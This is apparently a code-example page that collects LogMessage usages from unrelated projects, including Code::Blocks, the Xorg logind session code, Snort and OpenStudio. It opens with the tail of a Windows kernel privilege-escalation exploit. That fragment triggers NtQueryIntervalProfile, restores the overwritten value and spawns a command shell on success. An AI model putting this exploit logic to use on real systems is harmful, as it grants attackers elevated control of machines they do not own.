        NtQueryIntervalProfile(ProfileTotalIssues, Interval);

        // Repair any damage.
        *Interval = SavedInterval;

        EndPath(Device);
    }

    if (Finished) {
        LogMessage(L_INFO, "Success, launching shell...", Finished);
        ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
        LogMessage(L_INFO, "Press any key to exit...");
        getchar();
        ExitProcess(0);
    }

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);
    WaitForSingleObject(Thread, INFINITE);
    ReleaseDC(NULL, Device);

    // Try again...
    LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
    LogMessage(L_INFO, "Press any key to exit...");
    getchar();
    ExitProcess(1);
}
void ShellExtensions::OnRunTarget(wxCommandEvent& event)
{
    int ID=event.GetId();
    wxString commandstr;
    wxString consolename;
    wxString workingdir;
    bool windowed=false;
    bool console=false;
    if(ID>=ID_ContextMenu_0&&ID<=ID_ContextMenu_49)
    {
        m_interpnum=m_contextvec[ID-ID_ContextMenu_0];
        commandstr=m_ic.interps[m_interpnum].command;
        consolename=m_ic.interps[m_interpnum].name;
        windowed=(m_ic.interps[m_interpnum].mode==_("W"));
        console=(m_ic.interps[m_interpnum].mode==_("C"));
        workingdir=m_ic.interps[m_interpnum].wdir;
    } else
    if(ID>=ID_SubMenu_0&&ID<=ID_SubMenu_49)
    {
        m_interpnum=ID-ID_SubMenu_0;
        commandstr=m_ic.interps[m_interpnum].command;
        consolename=m_ic.interps[m_interpnum].name;
        windowed=(m_ic.interps[m_interpnum].mode==_("W"));
        console=(m_ic.interps[m_interpnum].mode==_("C"));
        workingdir=m_ic.interps[m_interpnum].wdir;
        m_wildcard=m_ic.interps[m_interpnum].wildcards;
        if(m_ic.interps[m_interpnum].command.Find(_T("$file"))>0 ||
            m_ic.interps[m_interpnum].command.Find(_T("$path"))>0)
        {
            OnSetTarget(event);
            if(!wxFileName::FileExists(m_RunTarget))
            {
                LogMessage(_("ShellExtensions: ")+m_RunTarget+_(" not found"));
                return;
            }
        }
        if(m_ic.interps[m_interpnum].command.Find(_T("$dir"))>0)
        {
            OnSetDirTarget(event);
            if(!wxFileName::DirExists(m_RunTarget))
            {
                LogMessage(_("Shell Extensions: ")+m_RunTarget+_(" not found"));
                return;
            }
            if(m_RunTarget==_T(""))
                return;
        }
        if(m_ic.interps[m_interpnum].command.Find(_T("$mpaths"))>0)
        {
            OnSetMultiTarget(event);
            if(m_RunTarget==_T(""))
                return;
        }
    }
    else
    {
        LogMessage(wxString::Format(_T("WARNING: Unprocessed ShellCommand Menu Message: ID %i, IDbase %i, IDend %i, num items on menu %i"),ID,ID_ContextMenu_0,ID_ContextMenu_49,(int)m_contextvec.size()));
        return;
    }

    m_RunTarget.Replace(_T("*"),_T(" "));

    bool setdir=true;
    commandstr.Replace(_T("$file"),wxFileName(m_RunTarget).GetShortPath());
    commandstr.Replace(_T("$relfile"),wxFileName(m_RunTarget).GetFullName());
    commandstr.Replace(_T("$fname"),wxFileName(m_RunTarget).GetName());
    commandstr.Replace(_T("$fext"),wxFileName(m_RunTarget).GetExt());
    commandstr.Replace(_T("$dir"),wxFileName(m_RunTarget).GetShortPath());
    commandstr.Replace(_T("$reldir"),wxFileName(m_RunTarget).GetFullName());
    commandstr.Replace(_T("$path"),wxFileName(m_RunTarget).GetShortPath());
    commandstr.Replace(_T("$relpath"),wxFileName(m_RunTarget).GetFullPath());
    if(commandstr.Replace(_T("$mpaths"),m_RunTarget)>0)
        setdir=false;

    // substitute user prompted values in the format: $inputstr{Enter your message}
    int promptind=commandstr.Find(_T("$inputstr{"));
    wxString substitution;
    while(promptind>=0)
    {
        int promptend=commandstr.Mid(promptind+10).Find(_T("}"));
        if(promptend<=0)
        {
            cbMessageBox(_T("Malformed $inputstr in command line -- no closing '}' found: ")+commandstr);
            return;
        }
        else
            promptend++;
        wxTextEntryDialog ted(NULL,commandstr.Mid(promptind+10,promptend-1),consolename,_T(""),wxOK|wxCANCEL);
        if(ted.ShowModal()==wxID_OK)
            substitution=ted.GetValue();
        else
            return;
        commandstr=commandstr.Left(promptind)+substitution+commandstr.Mid(promptind+10+promptend);
        int nextind=commandstr.Mid(promptind+substitution.Len()).Find(_T("$inputstr"));
        if(nextind>=0)
            promptind+=nextind+substitution.Len();
        else
            promptind=-1;
    }

    commandstr.Replace(_T("$interpreter"),wxFileName(m_ic.interps[m_interpnum].command).GetShortPath());
    workingdir.Replace(_T("$parentdir"),wxFileName(m_RunTarget).GetPath());
    if(wxFileName::DirExists(m_RunTarget))
        workingdir.Replace(_T("$dir"),wxFileName(m_RunTarget).GetFullPath());

    if(Manager::Get()->GetMacrosManager())
    {
        Manager::Get()->GetMacrosManager()->RecalcVars(0, 0, 0); // hack to force-update macros
        Manager::Get()->GetMacrosManager()->ReplaceMacros(commandstr);
        Manager::Get()->GetMacrosManager()->ReplaceMacros(workingdir);
    }
    wxString olddir=wxGetCwd();
    if(setdir && workingdir!=_T(""))
    {
        if(!wxSetWorkingDirectory(workingdir))
        {
            LogMessage(_T("Shell Extensions Plugin: Can't change to working directory to ")+workingdir);
            return;
        }
    }

    LogMessage(wxString::Format(_("Launching '%s': %s (in %s)"), consolename.c_str(), commandstr.c_str(), workingdir.c_str()));

    if(windowed)
    {
        wxArrayString astr;
        m_shellmgr->LaunchProcess(commandstr,consolename,_T("Piped Process Control"),astr);
        ShowConsole();
    } else if (console)
    {
        wxString cmdline;
#ifndef __WXMSW__
        // for non-win platforms, use m_ConsoleTerm to run the console app
        wxString term = Manager::Get()->GetConfigManager(_T("app"))->Read(_T("/console_terminal"), DEFAULT_CONSOLE_TERM);
        term.Replace(_T("$TITLE"), _T("'") + consolename + _T("'"));
        cmdline<< term << _T(" ");
        #define CONSOLE_RUNNER "cb_console_runner"
#else
        #define CONSOLE_RUNNER "cb_console_runner.exe"
#endif
        wxString baseDir = ConfigManager::GetExecutableFolder();
        if (wxFileExists(baseDir + wxT("/" CONSOLE_RUNNER)))
            cmdline << baseDir << wxT("/" CONSOLE_RUNNER " ");
        cmdline<<commandstr;

        if(!wxExecute(cmdline))
            cbMessageBox(_T("Command Launch Failed: ")+commandstr);
    } else
    {
        if(!wxExecute(commandstr))
            cbMessageBox(_T("Command Launch Failed: ")+commandstr);
    }
    wxSetWorkingDirectory(olddir);
}
Ejemplo n.º 10
0
static void
connect_hook(DBusConnection *connection, void *data)
{
    struct systemd_logind_info *info = data;
    DBusError error;
    DBusMessage *msg = NULL;
    DBusMessage *reply = NULL;
    dbus_int32_t arg;
    char *session = NULL;

    dbus_error_init(&error);

    msg = dbus_message_new_method_call("org.freedesktop.login1",
            "/org/freedesktop/login1", "org.freedesktop.login1.Manager",
            "GetSessionByPID");
    if (!msg) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    arg = getpid();
    if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &arg,
                                  DBUS_TYPE_INVALID)) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    reply = dbus_connection_send_with_reply_and_block(connection, msg,
                                                      DBUS_TIMEOUT_USE_DEFAULT, &error);
    if (!reply) {
        LogMessage(X_ERROR, "systemd-logind: failed to get session: %s\n",
                   error.message);
        goto cleanup;
    }
    dbus_message_unref(msg);

    if (!dbus_message_get_args(reply, &error, DBUS_TYPE_OBJECT_PATH, &session,
                               DBUS_TYPE_INVALID)) {
        LogMessage(X_ERROR, "systemd-logind: GetSessionByPID: %s\n",
                   error.message);
        goto cleanup;
    }
    session = XNFstrdup(session);

    dbus_message_unref(reply);
    reply = NULL;


    msg = dbus_message_new_method_call("org.freedesktop.login1",
            session, "org.freedesktop.login1.Session", "TakeControl");
    if (!msg) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    arg = FALSE; /* Don't forcibly take over over the session */
    if (!dbus_message_append_args(msg, DBUS_TYPE_BOOLEAN, &arg,
                                  DBUS_TYPE_INVALID)) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    reply = dbus_connection_send_with_reply_and_block(connection, msg,
                                                      DBUS_TIMEOUT_USE_DEFAULT, &error);
    if (!reply) {
        LogMessage(X_ERROR, "systemd-logind: TakeControl failed: %s\n",
                   error.message);
        goto cleanup;
    }

    dbus_bus_add_match(connection,
        "type='signal',sender='org.freedesktop.DBus',interface='org.freedesktop.DBus',member='NameOwnerChanged',path='/org/freedesktop/DBus'",
        &error);
    if (dbus_error_is_set(&error)) {
        LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
                   error.message);
        goto cleanup;
    }

    dbus_bus_add_match(connection,
        "type='signal',sender='org.freedesktop.login1',interface='org.freedesktop.login1.Session',member='PauseDevice'",
        &error);
    if (dbus_error_is_set(&error)) {
        LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
                   error.message);
        goto cleanup;
    }

    dbus_bus_add_match(connection,
        "type='signal',sender='org.freedesktop.login1',interface='org.freedesktop.login1.Session',member='ResumeDevice'",
        &error);
    if (dbus_error_is_set(&error)) {
        LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
                   error.message);
        goto cleanup;
    }

    /*
     * HdG: This is not useful with systemd <= 208 since the signal only
     * contains invalidated property names there, rather than property, val
     * pairs as it should.  Instead we just use the first resume / pause now.
     */
#if 0
    snprintf(match, sizeof(match),
        "type='signal',sender='org.freedesktop.login1',interface='org.freedesktop.DBus.Properties',member='PropertiesChanged',path='%s'",
        session);
    dbus_bus_add_match(connection, match, &error);
    if (dbus_error_is_set(&error)) {
        LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
                   error.message);
        goto cleanup;
    }
#endif

    if (!dbus_connection_add_filter(connection, message_filter, info, NULL)) {
        LogMessage(X_ERROR, "systemd-logind: could not add filter: %s\n",
                   error.message);
        goto cleanup;
    }

    LogMessage(X_INFO, "systemd-logind: took control of session %s\n",
               session);
    info->conn = connection;
    info->session = session;
    info->vt_active = info->active = TRUE; /* The server owns the vt during init */
    session = NULL;

cleanup:
    free(session);
    if (msg)
        dbus_message_unref(msg);
    if (reply)
        dbus_message_unref(reply);
    dbus_error_free(&error);
}
Ejemplo n.º 11
0
int
systemd_logind_take_fd(int _major, int _minor, const char *path,
                       Bool *paused_ret)
{
    struct systemd_logind_info *info = &logind_info;
    InputInfoPtr pInfo;
    DBusError error;
    DBusMessage *msg = NULL;
    DBusMessage *reply = NULL;
    dbus_int32_t major = _major;
    dbus_int32_t minor = _minor;
    dbus_bool_t paused;
    int fd = -1;

    if (!info->session || major == 0)
        return -1;

    /* logind does not support mouse devs (with evdev we don't need them) */
    if (strstr(path, "mouse"))
        return -1;

    /* Check if we already have an InputInfo entry with this major, minor
     * (shared device-nodes happen ie with Wacom tablets). */
    pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs, major, minor);
    if (pInfo) {
        LogMessage(X_INFO, "systemd-logind: returning pre-existing fd for %s %u:%u\n",
               path, major, minor);
        *paused_ret = FALSE;
        return pInfo->fd;
    }

    dbus_error_init(&error);

    msg = dbus_message_new_method_call("org.freedesktop.login1", info->session,
            "org.freedesktop.login1.Session", "TakeDevice");
    if (!msg) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &major,
                                       DBUS_TYPE_UINT32, &minor,
                                       DBUS_TYPE_INVALID)) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    reply = dbus_connection_send_with_reply_and_block(info->conn, msg,
                                                      DBUS_TIMEOUT_USE_DEFAULT, &error);
    if (!reply) {
        LogMessage(X_ERROR, "systemd-logind: failed to take device %s: %s\n",
                   path, error.message);
        goto cleanup;
    }

    if (!dbus_message_get_args(reply, &error,
                               DBUS_TYPE_UNIX_FD, &fd,
                               DBUS_TYPE_BOOLEAN, &paused,
                               DBUS_TYPE_INVALID)) {
        LogMessage(X_ERROR, "systemd-logind: TakeDevice %s: %s\n",
                   path, error.message);
        goto cleanup;
    }

    *paused_ret = paused;

    LogMessage(X_INFO, "systemd-logind: got fd for %s %u:%u fd %d paused %d\n",
               path, major, minor, fd, paused);

cleanup:
    if (msg)
        dbus_message_unref(msg);
    if (reply)
        dbus_message_unref(reply);
    dbus_error_free(&error);

    return fd;
}
Ejemplo n.º 12
0
static DBusHandlerResult
message_filter(DBusConnection * connection, DBusMessage * message, void *data)
{
    struct systemd_logind_info *info = data;
    struct xf86_platform_device *pdev = NULL;
    InputInfoPtr pInfo = NULL;
    int ack = 0, pause = 0, fd = -1;
    DBusError error;
    dbus_int32_t major, minor;
    char *pause_str;

    if (dbus_message_get_type (message) != DBUS_MESSAGE_TYPE_SIGNAL)
        return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;

    dbus_error_init(&error);

    if (dbus_message_is_signal(message,
                               "org.freedesktop.DBus", "NameOwnerChanged")) {
        char *name, *old_owner, *new_owner;

        dbus_message_get_args(message, &error,
                              DBUS_TYPE_STRING, &name,
                              DBUS_TYPE_STRING, &old_owner,
                              DBUS_TYPE_STRING, &new_owner, DBUS_TYPE_INVALID);
        if (dbus_error_is_set(&error)) {
            LogMessage(X_ERROR, "systemd-logind: NameOwnerChanged: %s\n",
                       error.message);
            dbus_error_free(&error);
            return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
        }

        if (name && strcmp(name, "org.freedesktop.login1") == 0)
            FatalError("systemd-logind disappeared (stopped/restarted?)\n");

        return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
    }

    if (strcmp(dbus_message_get_path(message), info->session) != 0)
        return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;

    if (dbus_message_is_signal(message, "org.freedesktop.login1.Session",
                               "PauseDevice")) {
        if (!dbus_message_get_args(message, &error,
                               DBUS_TYPE_UINT32, &major,
                               DBUS_TYPE_UINT32, &minor,
                               DBUS_TYPE_STRING, &pause_str,
                               DBUS_TYPE_INVALID)) {
            LogMessage(X_ERROR, "systemd-logind: PauseDevice: %s\n",
                       error.message);
            dbus_error_free(&error);
            return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
        }

        if (strcmp(pause_str, "pause") == 0) {
            pause = 1;
            ack = 1;
        }
        else if (strcmp(pause_str, "force") == 0) {
            pause = 1;
        }
        else if (strcmp(pause_str, "gone") == 0) {
            /* Device removal is handled through udev */
            return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
        }
        else {
            LogMessage(X_WARNING, "systemd-logind: unknown pause type: %s\n",
                       pause_str);
            return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
        }
    }
    else if (dbus_message_is_signal(message, "org.freedesktop.login1.Session",
                                    "ResumeDevice")) {
        if (!dbus_message_get_args(message, &error,
                                   DBUS_TYPE_UINT32, &major,
                                   DBUS_TYPE_UINT32, &minor,
                                   DBUS_TYPE_UNIX_FD, &fd,
                                   DBUS_TYPE_INVALID)) {
            LogMessage(X_ERROR, "systemd-logind: ResumeDevice: %s\n",
                       error.message);
            dbus_error_free(&error);
            return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
        }
    } else
        return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;

    LogMessage(X_INFO, "systemd-logind: got %s for %u:%u\n",
               pause ? "pause" : "resume", major, minor);

    pdev = xf86_find_platform_device_by_devnum(major, minor);
    if (!pdev)
        pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs,
                                                       major, minor);
    if (!pdev && !pInfo) {
        LogMessage(X_WARNING, "systemd-logind: could not find dev %u:%u\n",
                   major, minor);
        return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
    }

    if (pause) {
        /* Our VT_PROCESS usage guarantees we've already given up the vt */
        info->active = info->vt_active = FALSE;
        /* Note the actual vtleave has already been handled by xf86Events.c */
        if (pdev)
            pdev->flags |= XF86_PDEV_PAUSED;
        else {
            close(pInfo->fd);
            systemd_logind_set_input_fd_for_all_devs(major, minor, -1, FALSE);
        }
        if (ack)
            systemd_logind_ack_pause(info, major, minor);
    }
    else {
        /* info->vt_active gets set by systemd_logind_vtenter() */
        info->active = TRUE;

        if (pdev)
            pdev->flags &= ~XF86_PDEV_PAUSED;
        else
            systemd_logind_set_input_fd_for_all_devs(major, minor, fd,
                                                     info->vt_active);

        /* Always call vtenter(), in case there are only legacy video devs */
        systemd_logind_vtenter();
    }
    return DBUS_HANDLER_RESULT_HANDLED;
}
Ejemplo n.º 13
0
void
systemd_logind_release_fd(int _major, int _minor, int fd)
{
    struct systemd_logind_info *info = &logind_info;
    InputInfoPtr pInfo;
    DBusError error;
    DBusMessage *msg = NULL;
    DBusMessage *reply = NULL;
    dbus_int32_t major = _major;
    dbus_int32_t minor = _minor;
    int matches = 0;

    if (!info->session || major == 0)
        goto close;

    /* Only release the fd if there is only 1 InputInfo left for this major
     * and minor, otherwise other InputInfo's are still referencing the fd. */
    pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs, major, minor);
    while (pInfo) {
        matches++;
        pInfo = systemd_logind_find_info_ptr_by_devnum(pInfo->next, major, minor);
    }
    if (matches > 1) {
        LogMessage(X_INFO, "systemd-logind: not releasing fd for %u:%u, still in use\n", major, minor);
        return;
    }

    LogMessage(X_INFO, "systemd-logind: releasing fd for %u:%u\n", major, minor);

    dbus_error_init(&error);

    msg = dbus_message_new_method_call("org.freedesktop.login1", info->session,
            "org.freedesktop.login1.Session", "ReleaseDevice");
    if (!msg) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &major,
                                       DBUS_TYPE_UINT32, &minor,
                                       DBUS_TYPE_INVALID)) {
        LogMessage(X_ERROR, "systemd-logind: out of memory\n");
        goto cleanup;
    }

    reply = dbus_connection_send_with_reply_and_block(info->conn, msg,
                                                      DBUS_TIMEOUT_USE_DEFAULT, &error);
    if (!reply)
        LogMessage(X_ERROR, "systemd-logind: failed to release device: %s\n",
                   error.message);

cleanup:
    if (msg)
        dbus_message_unref(msg);
    if (reply)
        dbus_message_unref(reply);
    dbus_error_free(&error);
close:
    if (fd != -1)
        close(fd);
}
Ejemplo n.º 14
0
/*******************************************************************************
 * Function: TraverseObfuscationList()
 *
 * This is the main function for obfuscating a payload or stream segments.
 * It walks through a packet and obfuscation entries, calling the user
 * callback with obfuscated and non-obfuscated instructions.
 *
 * Arguments
 *  ObfuscationCallbackData *data
 *   The state tracking data structure.  Has the packet being obfuscated,
 *   current obfuscation entry and total number of bytes obfuscated thus
 *   far.
 *  DAQ_PktHdr_t *pkth
 *   The pcap header information associated with the payload being
 *   obfuscated.
 *  uint8_t *pkt
 *   The start of the packet including Ethernet headers, etc.
 *  uint8_t *payload
 *   Pointer to the payload data to be obfuscated
 *  ob_size_t
 *   The size of the payload data
 *
 * Returns
 *  OB_RET_SUCCESS  if successfully completed
 *  OB_RET_ERROR  if the user callback doesn't return OB_RET_SUCCESS
 *
 ******************************************************************************/
static ObRet TraverseObfuscationList(ObfuscationCallbackData *data,
        const DAQ_PktHdr_t *pkth, const uint8_t *payload_data,
        ob_size_t payload_size)
{
    int i;
    ob_size_t total_offset = data->total_offset;
    ob_size_t payload_offset = 0;
    const DAQ_PktHdr_t *pkth_tmp = pkth;
#ifdef OBFUSCATION_TEST
    uint8_t print_array[OB_LENGTH_MAX];
    ob_size_t start_total_offset = 0;
    ob_size_t start_payload_offset = 0;
#endif

    if ((payload_data == NULL) || (payload_size == 0))
        return OB_RET_ERROR;

#ifdef OBFUSCATION_TEST
    LogMessage("Payload data: %u bytes\n", payload_size);
    LogMessage("==============================================================="
            "=================\n");
#endif

    /* Start from current saved obfuscation entry index */
    for (i = data->entry_index; i < ob_struct.num_entries; i++)
    {
        /* Get the entry from the sorted array */
        const ObfuscationEntry *entry = ob_struct.sort_entries[i];
        ob_size_t ob_offset = entry->offset;
        ob_size_t ob_length = entry->length;

        /* Make sure it's for the right packet */
        if (entry->p != data->packet)
        {
#ifdef OBFUSCATION_TEST
            LogMessage("flags1: %08x, flags2: %08x\n", entry->p->packet_flags, data->packet->packet_flags);
#endif
            continue;
        }

        /* We've already obfuscated this part of the packet payload
         * Account for overflow */
        if (((ob_offset + ob_length) <= total_offset)
                && ((ob_offset + ob_length) > ob_offset))
        {
            continue;
        }

#ifdef OBFUSCATION_TEST
        LogMessage("  Total offset: %u\n\n", total_offset);
        start_total_offset = total_offset;
        start_payload_offset = payload_offset;
#endif

        /* Note the obfuscation offset is only used at this point to determine
         * the amount of data that does not need to be obfuscated up to the
         * offset or the length of what needs to be obfuscated if the offset
         * is less than what's already been logged */

        if (ob_offset > total_offset)
        {
            /* Get the amount of non-obfuscated data - need to log straight
             * packet data up to obfuscation offset */
            ob_size_t length = ob_offset - total_offset;

            /* If there is more length than what's left in the packet,
             * truncate it, do we don't overflow */
            if (length > (payload_size - payload_offset))
                length = payload_size - payload_offset;

            /* Call the user callback and tell it not to obfuscate the data
             * by passing in a non-NULL packet pointer */
            if (data->user_callback(pkth_tmp, payload_data + payload_offset,
                        length, 0, data->user_data) != OB_RET_SUCCESS)
            {
                return OB_RET_ERROR;
            }

#ifdef OBFUSCATION_TEST
            SafeMemcpy(print_array + payload_offset, payload_data + payload_offset,
                    length, print_array, print_array + sizeof(print_array));
#endif
            /* Only the first payload call sends the pcap_pkthdr */
            pkth_tmp = NULL;

            /* Adjust offsets */
            payload_offset += length;
            total_offset += length;

            /* If there is no more packet data, break out of the loop */
            if (payload_offset == payload_size)
            {
#ifdef OBFUSCATION_TEST
                PrintPacketData(print_array + start_payload_offset, length);
                LogMessage("\n");
#endif
                break;
            }
        }
        else if (ob_offset < total_offset)
        {
            /* If the entries offset is less than the current total offset,
             * decrease the length. */
            ob_length -= (total_offset - ob_offset);
        }

        /* Adjust the amount of data to obfuscate if it exceeds the amount of
         * data left in the packet.  Account for overflow */
        if (((payload_offset + ob_length) > payload_size)
                || ((payload_offset + ob_length) <= payload_offset))
        {
            ob_length = payload_size - payload_offset;
        }

        /* Call the user callback and tell it to obfuscate the data by passing
         * in a NULL packet pointer */
        if (data->user_callback(pkth_tmp, NULL, ob_length,
                    entry->ob_char, data->user_data) != OB_RET_SUCCESS)
        {
            return OB_RET_ERROR;
        }

#ifdef OBFUSCATION_TEST
        LogMessage("  Entry: %d\n", i);
        LogMessage("  --------------------------\n");
        PrintObfuscationEntry(entry, 4);
        LogMessage("\n");

        SafeMemset(print_array + payload_offset, entry->ob_char,
                ob_length, print_array, print_array + sizeof(print_array));

        if (ob_length < entry->length)
        {
            if (ob_offset < start_total_offset)
            {
                if (payload_offset + ob_length == payload_size)
                {
                    LogMessage("  Obfuscating beyond already obfuscated "
                            "(%u bytes) and to end of payload: %u bytes\n\n",
                            (start_total_offset - ob_offset), ob_length);
                }
                else
                {
                    LogMessage("  Obfuscating beyond already obfuscated "
                            "(%u bytes): %u bytes\n\n",
                            (start_total_offset - ob_offset), ob_length);
                }
            }
            else
            {
                LogMessage("  Obfuscating to end of payload: "
                        "%u bytes\n\n", ob_length);
            }
        }
        else
        {
            LogMessage("  Obfuscating: %u bytes\n\n", ob_length);
        }

        PrintPacketData(print_array + start_payload_offset,
                (payload_offset - start_payload_offset) + ob_length);

        if (((entry->offset + entry->length) - (total_offset + ob_length)) > 0)
        {
            LogMessage("\n  Remaining amount to obfuscate: %u bytes\n",
                    (entry->offset + entry->length) - (total_offset + ob_length));
        }

        LogMessage("\n");
#endif

        /* Only the first payload call sends the pcap_pkthdr */
        pkth_tmp = NULL;

        /* Adjust offsets */
        payload_offset += ob_length;
        total_offset += ob_length;

        /* If there is no more packet data, break out of the loop */
        if (payload_offset == payload_size)
            break;
    }

    /* There's more data in the packet left, meaning we ran out of
     * obfuscation entries */
    if (payload_size > payload_offset)
    {
        ob_size_t length = payload_size - payload_offset;

        /* Call the user callback and tell it not to obfuscate the data
         * by passing in a non-NULL packet pointer */
        if (data->user_callback(pkth_tmp, payload_data + payload_offset,
                    length, 0, data->user_data) != OB_RET_SUCCESS)
        {
            return OB_RET_ERROR;
        }

#ifdef OBFUSCATION_TEST
        SafeMemcpy(print_array + payload_offset, payload_data + payload_offset,
                length, print_array, print_array + sizeof(print_array));
#endif

        /* Adjust offsets - don't need to adjust packet offset since
         * we're done with the packet */
        total_offset += length;
    }

#ifdef OBFUSCATION_TEST
    LogMessage("Obfuscated payload\n");
    LogMessage("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
            "~~~~~~~~~~\n");
    PrintPacketData(print_array, payload_size);
    LogMessage("\n\n");
#endif

    /* Save these for next time we come in if necessary.  Mainly for
     * traversing stream segments */
    data->entry_index = i;
    data->total_offset = total_offset;

    return OB_RET_SUCCESS;
}
Ejemplo n.º 15
0
void OSResult::addInfo(const std::string& channel, const std::string& message) {
  m_info.push_back(LogMessage(Info,channel,message));
}
Ejemplo n.º 16
0
Archivo: ppm.c Proyecto: BMNLabs/snort
void ppm_print_cfg(ppm_cfg_t *ppm_cfg)
{
    if (ppm_cfg == NULL)
        return;

    if (!ppm_cfg->enabled)
        return ;

    if( ppm_cfg->max_pkt_ticks )
    {
        LogMessage("\n");
        LogMessage("Packet Performance Monitor Config:\n");
        LogMessage("  ticks per usec  : %lu ticks\n",(unsigned long)ppm_tpu);

        LogMessage("  max packet time : %lu usecs\n",(unsigned long)(ppm_cfg->max_pkt_ticks/ppm_tpu));
        LogMessage("  packet action   : ");
        if( ppm_cfg->pkt_action )
            LogMessage("fastpath-expensive-packets\n");
        else
            LogMessage("none\n");
        LogMessage("  packet logging  : ");
        if(ppm_cfg->pkt_log&PPM_LOG_ALERT) LogMessage("alert " );
        if(ppm_cfg->pkt_log&PPM_LOG_MESSAGE) LogMessage("log ");
        if(!ppm_cfg->pkt_log) LogMessage("none ");
        LogMessage("\n");
#ifdef DEBUG
        LogMessage("  debug-pkts      : %s\n",(ppm_cfg->debug_pkts)? "enabled":"disabled");
#endif
    }

    if( ppm_cfg->max_rule_ticks)
    {
        LogMessage("\n");
        LogMessage("Rule Performance Monitor Config:\n");
        LogMessage("  ticks per usec  : %lu ticks\n",(unsigned long)ppm_tpu);

        LogMessage("  max rule time   : %lu usecs\n",(unsigned long)(ppm_cfg->max_rule_ticks/ppm_tpu));
        LogMessage("  rule action     : ");
        if( ppm_cfg->rule_action )
        {
            LogMessage("suspend-expensive-rules\n");
            LogMessage("  rule threshold  : %u \n",(unsigned int)ppm_cfg->rule_threshold);
        }
        else
            LogMessage("none\n");

#ifdef PPM_TEST
        /* use usecs instead of ticks for rule suspension during pcap playback */
        LogMessage("  suspend timeout : %lu secs\n", (unsigned long)(ppm_cfg->max_suspend_ticks/((uint64_t)1000000)) );
#else
        LogMessage("  suspend timeout : %lu secs\n", (unsigned long)(ppm_cfg->max_suspend_ticks/((uint64_t)ppm_tpu*1000000)) );
#endif
        LogMessage("  rule logging    : ");
        if(ppm_cfg->rule_log&PPM_LOG_ALERT) LogMessage("alert " );
        if(ppm_cfg->rule_log&PPM_LOG_MESSAGE) LogMessage("log ");
        if(!ppm_cfg->rule_log) LogMessage("none ");
        LogMessage("\n");
#ifdef DEBUG
        /*LogMessage("  debug-rules     : %s\n",(ppm_cfg->debug_rules)?"enabled":"disabled"); unsupported */
#endif
    }
}
Ejemplo n.º 17
0
void OSResult::setFinalCondition(const std::string& channel, const std::string& message) {
  m_finalCondition = LogMessage(Info,channel,message);
}
Ejemplo n.º 18
0
Archivo: ppm.c Proyecto: BMNLabs/snort
void ppm_print_summary(ppm_cfg_t *ppm_cfg)
{
    if (ppm_cfg == NULL)
        return;

    if (!ppm_cfg->enabled)
        return;

    LogMessage("===============================================================================\n");
    if(ppm_cfg->max_pkt_ticks)
    {
        LogMessage("Packet Performance Summary:\n");

        LogMessage("   max packet time       : %g usecs\n",
            ppm_ticks_to_usecs(ppm_cfg->max_pkt_ticks));

        LogMessage("   packet events         : %u\n",
            (unsigned int)ppm_cfg->pkt_event_cnt);

        if( ppm_cfg->tot_pkts )
            LogMessage("   avg pkt time          : %g usecs\n",
                ppm_ticks_to_usecs((PPM_TICKS)(ppm_cfg->tot_pkt_time/
                    ppm_cfg->tot_pkts)));
    }

    if(ppm_cfg->max_rule_ticks)
    {
        LogMessage("Rule Performance Summary:\n");

        LogMessage("   max rule time         : %lu usecs\n",
            (unsigned long)(ppm_cfg->max_rule_ticks/ppm_tpu));

        LogMessage("   rule events           : %u\n",
            (unsigned int)ppm_cfg->rule_event_cnt);

        if( ppm_cfg->tot_rules )
            LogMessage("   avg rule time         : %g usecs\n",
                ppm_ticks_to_usecs((PPM_TICKS)(ppm_cfg->tot_rule_time/
                    ppm_cfg->tot_rules)));

        if( ppm_cfg->tot_nc_rules )
            LogMessage("   avg nc-rule time      : %g usecs\n",
                ppm_ticks_to_usecs((PPM_TICKS)(ppm_cfg->tot_nc_rule_time/
                    ppm_cfg->tot_nc_rules)));

        if( ppm_cfg->tot_pcre_rules )
            LogMessage("   avg nc-pcre-rule time : %g usecs\n",
                ppm_ticks_to_usecs((PPM_TICKS)(ppm_cfg->tot_pcre_rule_time/
                    ppm_cfg->tot_pcre_rules)));

        fpWalkOtns( 0, print_rule );
    }
}
Ejemplo n.º 19
0
int
Start(void)
{   
    char buf[1024];
    
    if (!startArgs || !startArgs[0])
    {
        LogMessage("There is nothing to start. No start-cmd was specified\n");
        return 2;
    }
    
    if (verbosity >= 1)
        LogMessage("Starting process\n");
	if (pidFile != NULL)
		DeletePreexistingPidFile();
    if (verbosity >= 2)
        LogMessage("Running start-cmd %s\n", CatArray(startArgs, buf, sizeof(buf)));
        
